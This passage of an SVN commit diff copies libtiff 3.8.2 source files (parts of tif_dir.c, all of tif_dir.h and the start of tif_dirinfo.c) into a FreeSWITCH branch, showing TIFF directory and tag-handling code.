+			    || fip->field_readcount == TIFF_VARIABLE
+			    || fip->field_readcount == TIFF_VARIABLE2
+			    || fip->field_readcount == TIFF_SPP
+			    || tv->count > 1)
+			    && fip->field_tag != TIFFTAG_PAGENUMBER
+			    && fip->field_tag != TIFFTAG_HALFTONEHINTS
+			    && fip->field_tag != TIFFTAG_YCBCRSUBSAMPLING
+			    && fip->field_tag != TIFFTAG_DOTRANGE) {
+				*va_arg(ap, void **) = tv->value;
+				ret_val = 1;
+			} else {
+			    int j;
+			    char *val = (char *)tv->value;
+
+			    for (j = 0; j < tv->count;
+				 j++, val += _TIFFDataSize(tv->info->field_type)) {
+				switch (fip->field_type) {
+					case TIFF_BYTE:
+					case TIFF_UNDEFINED:
+						*va_arg(ap, uint8*) =
+							*(uint8 *)val;
+						ret_val = 1;
+						break;
+					case TIFF_SBYTE:
+						*va_arg(ap, int8*) =
+							*(int8 *)val;
+						ret_val = 1;
+						break;
+					case TIFF_SHORT:
+						*va_arg(ap, uint16*) =
+							*(uint16 *)val;
+						ret_val = 1;
+						break;
+					case TIFF_SSHORT:
+						*va_arg(ap, int16*) =
+							*(int16 *)val;
+						ret_val = 1;
+						break;
+					case TIFF_LONG:
+					case TIFF_IFD:
+						*va_arg(ap, uint32*) =
+							*(uint32 *)val;
+						ret_val = 1;
+						break;
+					case TIFF_SLONG:
+						*va_arg(ap, int32*) =
+							*(int32 *)val;
+						ret_val = 1;
+						break;
+					case TIFF_RATIONAL:
+					case TIFF_SRATIONAL:
+					case TIFF_FLOAT:
+						*va_arg(ap, float*) =
+							*(float *)val;
+						ret_val = 1;
+						break;
+					case TIFF_DOUBLE:
+						*va_arg(ap, double*) =
+							*(double *)val;
+						ret_val = 1;
+						break;
+					default:
+						ret_val = 0;
+						break;
+				}
+			    }
+			}
+                }
+		break;
+            }
+        }
+    }
+    return(ret_val);
+}
+
+/*
+ * Return the value of a field in the
+ * internal directory structure.
+ */
+int
+TIFFGetField(TIFF* tif, ttag_t tag, ...)
+{
+	int status;
+	va_list ap;
+
+	va_start(ap, tag);
+	status = TIFFVGetField(tif, tag, ap);
+	va_end(ap);
+	return (status);
+}
+
+/*
+ * Like TIFFGetField, but taking a varargs
+ * parameter list.  This routine is useful
+ * for building higher-level interfaces on
+ * top of the library.
+ */
+int
+TIFFVGetField(TIFF* tif, ttag_t tag, va_list ap)
+{
+	const TIFFFieldInfo* fip = _TIFFFindFieldInfo(tif, tag, TIFF_ANY);
+	return (fip && (isPseudoTag(tag) || TIFFFieldSet(tif, fip->field_bit)) ?
+	    (*tif->tif_tagmethods.vgetfield)(tif, tag, ap) : 0);
+}
+
+#define	CleanupField(member) {		\
+    if (td->member) {			\
+	_TIFFfree(td->member);		\
+	td->member = 0;			\
+    }					\
+}
+
+/*
+ * Release storage associated with a directory.
+ */
+void
+TIFFFreeDirectory(TIFF* tif)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+	int            i;
+
+	_TIFFmemset(td->td_fieldsset, 0, FIELD_SETLONGS);
+	CleanupField(td_colormap[0]);
+	CleanupField(td_colormap[1]);
+	CleanupField(td_colormap[2]);
+	CleanupField(td_sampleinfo);
+	CleanupField(td_subifd);
+	CleanupField(td_inknames);
+	CleanupField(td_transferfunction[0]);
+	CleanupField(td_transferfunction[1]);
+	CleanupField(td_transferfunction[2]);
+	CleanupField(td_stripoffset);
+	CleanupField(td_stripbytecount);
+	TIFFClrFieldBit(tif, FIELD_YCBCRSUBSAMPLING);
+	TIFFClrFieldBit(tif, FIELD_YCBCRPOSITIONING);
+
+	/* Cleanup custom tag values */
+	for( i = 0; i < td->td_customValueCount; i++ ) {
+		if (td->td_customValues[i].value)
+			_TIFFfree(td->td_customValues[i].value);
+	}
+
+	td->td_customValueCount = 0;
+	CleanupField(td_customValues);
+}
+#undef CleanupField
+
+/*
+ * Client Tag extension support (from Niles Ritter).
+ */
+static TIFFExtendProc _TIFFextender = (TIFFExtendProc) NULL;
+
+TIFFExtendProc
+TIFFSetTagExtender(TIFFExtendProc extender)
+{
+	TIFFExtendProc prev = _TIFFextender;
+	_TIFFextender = extender;
+	return (prev);
+}
+
+/*
+ * Setup for a new directory.  Should we automatically call
+ * TIFFWriteDirectory() if the current one is dirty?
+ *
+ * The newly created directory will not exist on the file till
+ * TIFFWriteDirectory(), TIFFFlush() or TIFFClose() is called.
+ */
+int
+TIFFCreateDirectory(TIFF* tif)
+{
+    TIFFDefaultDirectory(tif);
+    tif->tif_diroff = 0;
+    tif->tif_nextdiroff = 0;
+    tif->tif_curoff = 0;
+    tif->tif_row = (uint32) -1;
+    tif->tif_curstrip = (tstrip_t) -1;
+
+    return 0;
+}
+
+/*
+ * Setup a default directory structure.
+ */
+int
+TIFFDefaultDirectory(TIFF* tif)
+{
+	register TIFFDirectory* td = &tif->tif_dir;
+
+	size_t tiffFieldInfoCount;
+	const TIFFFieldInfo *tiffFieldInfo =
+		_TIFFGetFieldInfo(&tiffFieldInfoCount);
+	_TIFFSetupFieldInfo(tif, tiffFieldInfo, tiffFieldInfoCount);
+
+	_TIFFmemset(td, 0, sizeof (*td));
+	td->td_fillorder = FILLORDER_MSB2LSB;
+	td->td_bitspersample = 1;
+	td->td_threshholding = THRESHHOLD_BILEVEL;
+	td->td_orientation = ORIENTATION_TOPLEFT;
+	td->td_samplesperpixel = 1;
+	td->td_rowsperstrip = (uint32) -1;
+	td->td_tilewidth = 0;
+	td->td_tilelength = 0;
+	td->td_tiledepth = 1;
+	td->td_stripbytecountsorted = 1; /* Our own arrays always sorted. */
+	td->td_resolutionunit = RESUNIT_INCH;
+	td->td_sampleformat = SAMPLEFORMAT_UINT;
+	td->td_imagedepth = 1;
+	td->td_ycbcrsubsampling[0] = 2;
+	td->td_ycbcrsubsampling[1] = 2;
+	td->td_ycbcrpositioning = YCBCRPOSITION_CENTERED;
+	tif->tif_postdecode = _TIFFNoPostDecode;
+        tif->tif_foundfield = NULL;
+	tif->tif_tagmethods.vsetfield = _TIFFVSetField;
+	tif->tif_tagmethods.vgetfield = _TIFFVGetField;
+	tif->tif_tagmethods.printdir = NULL;
+	/*
+	 *  Give client code a chance to install their own
+	 *  tag extensions & methods, prior to compression overloads.
+	 */
+	if (_TIFFextender)
+		(*_TIFFextender)(tif);
+	(void) TIFFSetField(tif, TIFFTAG_COMPRESSION, COMPRESSION_NONE);
+	/*
+	 * NB: The directory is marked dirty as a result of setting
+	 * up the default compression scheme.  However, this really
+	 * isn't correct -- we want TIFF_DIRTYDIRECT to be set only
+	 * if the user does something.  We could just do the setup
+	 * by hand, but it seems better to use the normal mechanism
+	 * (i.e. TIFFSetField).
+	 */
+	tif->tif_flags &= ~TIFF_DIRTYDIRECT;
+
+        /*
+         * As per http://bugzilla.remotesensing.org/show_bug.cgi?id=19
+         * we clear the ISTILED flag when setting up a new directory.
+         * Should we also be clearing stuff like INSUBIFD?
+         */
+        tif->tif_flags &= ~TIFF_ISTILED;
+
+	return (1);
+}
+
+static int
+TIFFAdvanceDirectory(TIFF* tif, uint32* nextdir, toff_t* off)
+{
+    static const char module[] = "TIFFAdvanceDirectory";
+    uint16 dircount;
+    if (isMapped(tif))
+    {
+        toff_t poff=*nextdir;
+        if (poff+sizeof(uint16) > tif->tif_size)
+        {
+			TIFFErrorExt(tif->tif_clientdata, module, "%s: Error fetching directory count",
+                      tif->tif_name);
+            return (0);
+        }
+        _TIFFmemcpy(&dircount, tif->tif_base+poff, sizeof (uint16));
+        if (tif->tif_flags & TIFF_SWAB)
+            TIFFSwabShort(&dircount);
+        poff+=sizeof (uint16)+dircount*sizeof (TIFFDirEntry);
+        if (off != NULL)
+            *off = poff;
+        if (((toff_t) (poff+sizeof (uint32))) > tif->tif_size)
+        {
+			TIFFErrorExt(tif->tif_clientdata, module, "%s: Error fetching directory link",
+                      tif->tif_name);
+            return (0);
+        }
+        _TIFFmemcpy(nextdir, tif->tif_base+poff, sizeof (uint32));
+        if (tif->tif_flags & TIFF_SWAB)
+            TIFFSwabLong(nextdir);
+        return (1);
+    }
+    else
+    {
+        if (!SeekOK(tif, *nextdir) ||
+            !ReadOK(tif, &dircount, sizeof (uint16))) {
+			TIFFErrorExt(tif->tif_clientdata, module, "%s: Error fetching directory count",
+                      tif->tif_name);
+            return (0);
+        }
+        if (tif->tif_flags & TIFF_SWAB)
+            TIFFSwabShort(&dircount);
+        if (off != NULL)
+            *off = TIFFSeekFile(tif,
+                                dircount*sizeof (TIFFDirEntry), SEEK_CUR);
+        else
+            (void) TIFFSeekFile(tif,
+                                dircount*sizeof (TIFFDirEntry), SEEK_CUR);
+        if (!ReadOK(tif, nextdir, sizeof (uint32))) {
+			TIFFErrorExt(tif->tif_clientdata, module, "%s: Error fetching directory link",
+                      tif->tif_name);
+            return (0);
+        }
+        if (tif->tif_flags & TIFF_SWAB)
+            TIFFSwabLong(nextdir);
+        return (1);
+    }
+}
+
+/*
+ * Count the number of directories in a file.
+ */
+tdir_t
+TIFFNumberOfDirectories(TIFF* tif)
+{
+    toff_t nextdir = tif->tif_header.tiff_diroff;
+    tdir_t n = 0;
+    
+    while (nextdir != 0 && TIFFAdvanceDirectory(tif, &nextdir, NULL))
+        n++;
+    return (n);
+}
+
+/*
+ * Set the n-th directory as the current directory.
+ * NB: Directories are numbered starting at 0.
+ */
+int
+TIFFSetDirectory(TIFF* tif, tdir_t dirn)
+{
+	toff_t nextdir;
+	tdir_t n;
+
+	nextdir = tif->tif_header.tiff_diroff;
+	for (n = dirn; n > 0 && nextdir != 0; n--)
+		if (!TIFFAdvanceDirectory(tif, &nextdir, NULL))
+			return (0);
+	tif->tif_nextdiroff = nextdir;
+	/*
+	 * Set curdir to the actual directory index.  The
+	 * -1 is because TIFFReadDirectory will increment
+	 * tif_curdir after successfully reading the directory.
+	 */
+	tif->tif_curdir = (dirn - n) - 1;
+	/*
+	 * Reset tif_dirnumber counter and start new list of seen directories.
+	 * We need this to prevent IFD loops.
+	 */
+	tif->tif_dirnumber = 0;
+	return (TIFFReadDirectory(tif));
+}
+
+/*
+ * Set the current directory to be the directory
+ * located at the specified file offset.  This interface
+ * is used mainly to access directories linked with
+ * the SubIFD tag (e.g. thumbnail images).
+ */
+int
+TIFFSetSubDirectory(TIFF* tif, uint32 diroff)
+{
+	tif->tif_nextdiroff = diroff;
+	/*
+	 * Reset tif_dirnumber counter and start new list of seen directories.
+	 * We need this to prevent IFD loops.
+	 */
+	tif->tif_dirnumber = 0;
+	return (TIFFReadDirectory(tif));
+}
+
+/*
+ * Return file offset of the current directory.
+ */
+uint32
+TIFFCurrentDirOffset(TIFF* tif)
+{
+	return (tif->tif_diroff);
+}
+
+/*
+ * Return an indication of whether or not we are
+ * at the last directory in the file.
+ */
+int
+TIFFLastDirectory(TIFF* tif)
+{
+	return (tif->tif_nextdiroff == 0);
+}
+
+/*
+ * Unlink the specified directory from the directory chain.
+ */
+int
+TIFFUnlinkDirectory(TIFF* tif, tdir_t dirn)
+{
+	static const char module[] = "TIFFUnlinkDirectory";
+	toff_t nextdir;
+	toff_t off;
+	tdir_t n;
+
+	if (tif->tif_mode == O_RDONLY) {
+		TIFFErrorExt(tif->tif_clientdata, module,
+                             "Can not unlink directory in read-only file");
+		return (0);
+	}
+	/*
+	 * Go to the directory before the one we want
+	 * to unlink and nab the offset of the link
+	 * field we'll need to patch.
+	 */
+	nextdir = tif->tif_header.tiff_diroff;
+	off = sizeof (uint16) + sizeof (uint16);
+	for (n = dirn-1; n > 0; n--) {
+		if (nextdir == 0) {
+			TIFFErrorExt(tif->tif_clientdata, module, "Directory %d does not exist", dirn);
+			return (0);
+		}
+		if (!TIFFAdvanceDirectory(tif, &nextdir, &off))
+			return (0);
+	}
+	/*
+	 * Advance to the directory to be unlinked and fetch
+	 * the offset of the directory that follows.
+	 */
+	if (!TIFFAdvanceDirectory(tif, &nextdir, NULL))
+		return (0);
+	/*
+	 * Go back and patch the link field of the preceding
+	 * directory to point to the offset of the directory
+	 * that follows.
+	 */
+	(void) TIFFSeekFile(tif, off, SEEK_SET);
+	if (tif->tif_flags & TIFF_SWAB)
+		TIFFSwabLong(&nextdir);
+	if (!WriteOK(tif, &nextdir, sizeof (uint32))) {
+		TIFFErrorExt(tif->tif_clientdata, module, "Error writing directory link");
+		return (0);
+	}
+	/*
+	 * Leave directory state setup safely.  We don't have
+	 * facilities for doing inserting and removing directories,
+	 * so it's safest to just invalidate everything.  This
+	 * means that the caller can only append to the directory
+	 * chain.
+	 */
+	(*tif->tif_cleanup)(tif);
+	if ((tif->tif_flags & TIFF_MYBUFFER) && tif->tif_rawdata) {
+		_TIFFfree(tif->tif_rawdata);
+		tif->tif_rawdata = NULL;
+		tif->tif_rawcc = 0;
+	}
+	tif->tif_flags &= ~(TIFF_BEENWRITING|TIFF_BUFFERSETUP|TIFF_POSTENCODE);
+	TIFFFreeDirectory(tif);
+	TIFFDefaultDirectory(tif);
+	tif->tif_diroff = 0;			/* force link on next write */
+	tif->tif_nextdiroff = 0;		/* next write must be at end */
+	tif->tif_curoff = 0;
+	tif->tif_row = (uint32) -1;
+	tif->tif_curstrip = (tstrip_t) -1;
+	return (1);
+}
+
+/*			[BFC]
+ *
+ * Author: Bruce Cameron <cameron@petris.com>
+ *
+ * Set a table of tags that are to be replaced during directory process by the
+ * 'IGNORE' state - or return TRUE/FALSE for the requested tag such that
+ * 'ReadDirectory' can use the stored information.
+ *
+ * FIXME: this is never used properly. Should be removed in the future.
+ */
+int
+TIFFReassignTagToIgnore (enum TIFFIgnoreSense task, int TIFFtagID)
+{
+    static int TIFFignoretags [FIELD_LAST];
+    static int tagcount = 0 ;
+    int		i;					/* Loop index */
+    int		j;					/* Loop index */
+
+    switch (task)
+    {
+      case TIS_STORE:
+        if ( tagcount < (FIELD_LAST - 1) )
+        {
+            for ( j = 0 ; j < tagcount ; ++j )
+            {					/* Do not add duplicate tag */
+                if ( TIFFignoretags [j] == TIFFtagID )
+                    return (TRUE) ;
+            }
+            TIFFignoretags [tagcount++] = TIFFtagID ;
+            return (TRUE) ;
+        }
+        break ;
+        
+      case TIS_EXTRACT:
+        for ( i = 0 ; i < tagcount ; ++i )
+        {
+            if ( TIFFignoretags [i] == TIFFtagID )
+                return (TRUE) ;
+        }
+        break;
+        
+      case TIS_EMPTY:
+        tagcount = 0 ;			/* Clear the list */
+        return (TRUE) ;
+        
+      default:
+        break;
+    }
+    
+    return (FALSE);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dir.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dir.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_dir.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dir.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dir.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,199 @@
+/* $Id: tif_dir.h,v 1.28 2005/12/26 14:31:25 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#ifndef _TIFFDIR_
+#define	_TIFFDIR_
+/*
+ * ``Library-private'' Directory-related Definitions.
+ */
+
+/*
+ * Internal format of a TIFF directory entry.
+ */
+typedef	struct {
+#define	FIELD_SETLONGS	4
+	/* bit vector of fields that are set */
+	unsigned long	td_fieldsset[FIELD_SETLONGS];
+
+	uint32	td_imagewidth, td_imagelength, td_imagedepth;
+	uint32	td_tilewidth, td_tilelength, td_tiledepth;
+	uint32	td_subfiletype;
+	uint16	td_bitspersample;
+	uint16	td_sampleformat;
+	uint16	td_compression;
+	uint16	td_photometric;
+	uint16	td_threshholding;
+	uint16	td_fillorder;
+	uint16	td_orientation;
+	uint16	td_samplesperpixel;
+	uint32	td_rowsperstrip;
+	uint16	td_minsamplevalue, td_maxsamplevalue;
+	double	td_sminsamplevalue, td_smaxsamplevalue;
+	float	td_xresolution, td_yresolution;
+	uint16	td_resolutionunit;
+	uint16	td_planarconfig;
+	float	td_xposition, td_yposition;
+	uint16	td_pagenumber[2];
+	uint16*	td_colormap[3];
+	uint16	td_halftonehints[2];
+	uint16	td_extrasamples;
+	uint16*	td_sampleinfo;
+	tstrip_t td_stripsperimage;
+	tstrip_t td_nstrips;		/* size of offset & bytecount arrays */
+	uint32*	td_stripoffset;
+	uint32*	td_stripbytecount;
+	int	td_stripbytecountsorted; /* is the bytecount array sorted ascending? */
+	uint16	td_nsubifd;
+	uint32*	td_subifd;
+	/* YCbCr parameters */
+	uint16	td_ycbcrsubsampling[2];
+	uint16	td_ycbcrpositioning;
+	/* Colorimetry parameters */
+	uint16*	td_transferfunction[3];
+	/* CMYK parameters */
+	int	td_inknameslen;
+	char*	td_inknames;
+
+	int     td_customValueCount;
+        TIFFTagValue *td_customValues;
+} TIFFDirectory;
+
+/*
+ * Field flags used to indicate fields that have
+ * been set in a directory, and to reference fields
+ * when manipulating a directory.
+ */
+
+/*
+ * FIELD_IGNORE is used to signify tags that are to
+ * be processed but otherwise ignored.  This permits
+ * antiquated tags to be quietly read and discarded.
+ * Note that a bit *is* allocated for ignored tags;
+ * this is understood by the directory reading logic
+ * which uses this fact to avoid special-case handling
+ */ 
+#define	FIELD_IGNORE			0
+
+/* multi-item fields */
+#define	FIELD_IMAGEDIMENSIONS		1
+#define FIELD_TILEDIMENSIONS		2
+#define	FIELD_RESOLUTION		3
+#define	FIELD_POSITION			4
+
+/* single-item fields */
+#define	FIELD_SUBFILETYPE		5
+#define	FIELD_BITSPERSAMPLE		6
+#define	FIELD_COMPRESSION		7
+#define	FIELD_PHOTOMETRIC		8
+#define	FIELD_THRESHHOLDING		9
+#define	FIELD_FILLORDER			10
+#define	FIELD_ORIENTATION		15
+#define	FIELD_SAMPLESPERPIXEL		16
+#define	FIELD_ROWSPERSTRIP		17
+#define	FIELD_MINSAMPLEVALUE		18
+#define	FIELD_MAXSAMPLEVALUE		19
+#define	FIELD_PLANARCONFIG		20
+#define	FIELD_RESOLUTIONUNIT		22
+#define	FIELD_PAGENUMBER		23
+#define	FIELD_STRIPBYTECOUNTS		24
+#define	FIELD_STRIPOFFSETS		25
+#define	FIELD_COLORMAP			26
+#define	FIELD_EXTRASAMPLES		31
+#define FIELD_SAMPLEFORMAT		32
+#define	FIELD_SMINSAMPLEVALUE		33
+#define	FIELD_SMAXSAMPLEVALUE		34
+#define FIELD_IMAGEDEPTH		35
+#define FIELD_TILEDEPTH			36
+#define	FIELD_HALFTONEHINTS		37
+#define FIELD_YCBCRSUBSAMPLING		39
+#define FIELD_YCBCRPOSITIONING		40
+#define	FIELD_TRANSFERFUNCTION		44
+#define	FIELD_INKNAMES			46
+#define	FIELD_SUBIFD			49
+/*      FIELD_CUSTOM (see tiffio.h)     65 */
+/* end of support for well-known tags; codec-private tags follow */
+#define	FIELD_CODEC			66	/* base of codec-private tags */
+
+
+/*
+ * Pseudo-tags don't normally need field bits since they
+ * are not written to an output file (by definition).
+ * The library also has express logic to always query a
+ * codec for a pseudo-tag so allocating a field bit for
+ * one is a waste.   If codec wants to promote the notion
+ * of a pseudo-tag being ``set'' or ``unset'' then it can
+ * do using internal state flags without polluting the
+ * field bit space defined for real tags.
+ */
+#define	FIELD_PSEUDO			0
+
+#define	FIELD_LAST			(32*FIELD_SETLONGS-1)
+
+#define	TIFFExtractData(tif, type, v) \
+    ((uint32) ((tif)->tif_header.tiff_magic == TIFF_BIGENDIAN ? \
+        ((v) >> (tif)->tif_typeshift[type]) & (tif)->tif_typemask[type] : \
+	(v) & (tif)->tif_typemask[type]))
+#define	TIFFInsertData(tif, type, v) \
+    ((uint32) ((tif)->tif_header.tiff_magic == TIFF_BIGENDIAN ? \
+        ((v) & (tif)->tif_typemask[type]) << (tif)->tif_typeshift[type] : \
+	(v) & (tif)->tif_typemask[type]))
+
+
+#define BITn(n)				(((unsigned long)1L)<<((n)&0x1f)) 
+#define BITFIELDn(tif, n)		((tif)->tif_dir.td_fieldsset[(n)/32]) 
+#define TIFFFieldSet(tif, field)	(BITFIELDn(tif, field) & BITn(field)) 
+#define TIFFSetFieldBit(tif, field)	(BITFIELDn(tif, field) |= BITn(field))
+#define TIFFClrFieldBit(tif, field)	(BITFIELDn(tif, field) &= ~BITn(field))
+
+#define	FieldSet(fields, f)		(fields[(f)/32] & BITn(f))
+#define	ResetFieldBit(fields, f)	(fields[(f)/32] &= ~BITn(f))
+
+#if defined(__cplusplus)
+extern "C" {
+#endif
+extern	const TIFFFieldInfo *_TIFFGetFieldInfo(size_t *);
+extern	const TIFFFieldInfo *_TIFFGetExifFieldInfo(size_t *);
+extern	void _TIFFSetupFieldInfo(TIFF*, const TIFFFieldInfo[], size_t);
+extern	void _TIFFPrintFieldInfo(TIFF*, FILE*);
+extern	TIFFDataType _TIFFSampleToTagType(TIFF*);
+extern  const TIFFFieldInfo* _TIFFFindOrRegisterFieldInfo( TIFF *tif,
+							   ttag_t tag,
+							   TIFFDataType dt );
+extern  TIFFFieldInfo* _TIFFCreateAnonFieldInfo( TIFF *tif, ttag_t tag,
+                                                 TIFFDataType dt );
+
+#define _TIFFMergeFieldInfo	    TIFFMergeFieldInfo
+#define _TIFFFindFieldInfo	    TIFFFindFieldInfo
+#define _TIFFFindFieldInfoByName    TIFFFindFieldInfoByName
+#define _TIFFFieldWithTag	    TIFFFieldWithTag
+#define _TIFFFieldWithName	    TIFFFieldWithName
+
+#if defined(__cplusplus)
+}
+#endif
+#endif /* _TIFFDIR_ */
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dirinfo.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dirinfo.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_dirinfo.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dirinfo.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dirinfo.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,846 @@
+/* $Id: tif_dirinfo.c,v 1.62 2006/02/07 10:45:38 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ *
+ * Core Directory Tag Support.
+ */
+#include "tiffiop.h"
+#include <stdlib.h>
+
+/*
+ * NB: NB: THIS ARRAY IS ASSUMED TO BE SORTED BY TAG.
+ *       If a tag can have both LONG and SHORT types then the LONG must be
+ *       placed before the SHORT for writing to work properly.
+ *
+ * NOTE: The second field (field_readcount) and third field (field_writecount)
+ *       sometimes use the values TIFF_VARIABLE (-1), TIFF_VARIABLE2 (-3)
+ *       and TIFFTAG_SPP (-2). The macros should be used but would throw off 
+ *       the formatting of the code, so please interprete the -1, -2 and -3 
+ *       values accordingly.
+ */
+static const TIFFFieldInfo
+tiffFieldInfo[] = {
+    { TIFFTAG_SUBFILETYPE,	 1, 1,	TIFF_LONG,	FIELD_SUBFILETYPE,
+      1,	0,	"SubfileType" },
+/* XXX SHORT for compatibility w/ old versions of the library */
+    { TIFFTAG_SUBFILETYPE,	 1, 1,	TIFF_SHORT,	FIELD_SUBFILETYPE,
+      1,	0,	"SubfileType" },
+    { TIFFTAG_OSUBFILETYPE,	 1, 1,	TIFF_SHORT,	FIELD_SUBFILETYPE,
+      1,	0,	"OldSubfileType" },
+    { TIFFTAG_IMAGEWIDTH,	 1, 1,	TIFF_LONG,	FIELD_IMAGEDIMENSIONS,
+      0,	0,	"ImageWidth" },
+    { TIFFTAG_IMAGEWIDTH,	 1, 1,	TIFF_SHORT,	FIELD_IMAGEDIMENSIONS,
+      0,	0,	"ImageWidth" },
+    { TIFFTAG_IMAGELENGTH,	 1, 1,	TIFF_LONG,	FIELD_IMAGEDIMENSIONS,
+      1,	0,	"ImageLength" },
+    { TIFFTAG_IMAGELENGTH,	 1, 1,	TIFF_SHORT,	FIELD_IMAGEDIMENSIONS,
+      1,	0,	"ImageLength" },
+    { TIFFTAG_BITSPERSAMPLE,	-1,-1,	TIFF_SHORT,	FIELD_BITSPERSAMPLE,
+      0,	0,	"BitsPerSample" },
+/* XXX LONG for compatibility with some broken TIFF writers */
+    { TIFFTAG_BITSPERSAMPLE,	-1,-1,	TIFF_LONG,	FIELD_BITSPERSAMPLE,
+      0,	0,	"BitsPerSample" },
+    { TIFFTAG_COMPRESSION,	-1, 1,	TIFF_SHORT,	FIELD_COMPRESSION,
+      0,	0,	"Compression" },
+/* XXX LONG for compatibility with some broken TIFF writers */
+    { TIFFTAG_COMPRESSION,	-1, 1,	TIFF_LONG,	FIELD_COMPRESSION,
+      0,	0,	"Compression" },
+    { TIFFTAG_PHOTOMETRIC,	 1, 1,	TIFF_SHORT,	FIELD_PHOTOMETRIC,
+      0,	0,	"PhotometricInterpretation" },
+/* XXX LONG for compatibility with some broken TIFF writers */
+    { TIFFTAG_PHOTOMETRIC,	 1, 1,	TIFF_LONG,	FIELD_PHOTOMETRIC,
+      0,	0,	"PhotometricInterpretation" },
+    { TIFFTAG_THRESHHOLDING,	 1, 1,	TIFF_SHORT,	FIELD_THRESHHOLDING,
+      1,	0,	"Threshholding" },
+    { TIFFTAG_CELLWIDTH,	 1, 1,	TIFF_SHORT,	FIELD_IGNORE,
+      1,	0,	"CellWidth" },
+    { TIFFTAG_CELLLENGTH,	 1, 1,	TIFF_SHORT,	FIELD_IGNORE,
+      1,	0,	"CellLength" },
+    { TIFFTAG_FILLORDER,	 1, 1,	TIFF_SHORT,	FIELD_FILLORDER,
+      0,	0,	"FillOrder" },
+    { TIFFTAG_DOCUMENTNAME,	-1,-1,	TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"DocumentName" },
+    { TIFFTAG_IMAGEDESCRIPTION,	-1,-1,	TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"ImageDescription" },
+    { TIFFTAG_MAKE,		-1,-1,	TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"Make" },
+    { TIFFTAG_MODEL,		-1,-1,	TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"Model" },
+    { TIFFTAG_STRIPOFFSETS,	-1,-1,	TIFF_LONG,	FIELD_STRIPOFFSETS,
+      0,	0,	"StripOffsets" },
+    { TIFFTAG_STRIPOFFSETS,	-1,-1,	TIFF_SHORT,	FIELD_STRIPOFFSETS,
+      0,	0,	"StripOffsets" },
+    { TIFFTAG_ORIENTATION,	 1, 1,	TIFF_SHORT,	FIELD_ORIENTATION,
+      0,	0,	"Orientation" },
+    { TIFFTAG_SAMPLESPERPIXEL,	 1, 1,	TIFF_SHORT,	FIELD_SAMPLESPERPIXEL,
+      0,	0,	"SamplesPerPixel" },
+    { TIFFTAG_ROWSPERSTRIP,	 1, 1,	TIFF_LONG,	FIELD_ROWSPERSTRIP,
+      0,	0,	"RowsPerStrip" },
+    { TIFFTAG_ROWSPERSTRIP,	 1, 1,	TIFF_SHORT,	FIELD_ROWSPERSTRIP,
+      0,	0,	"RowsPerStrip" },
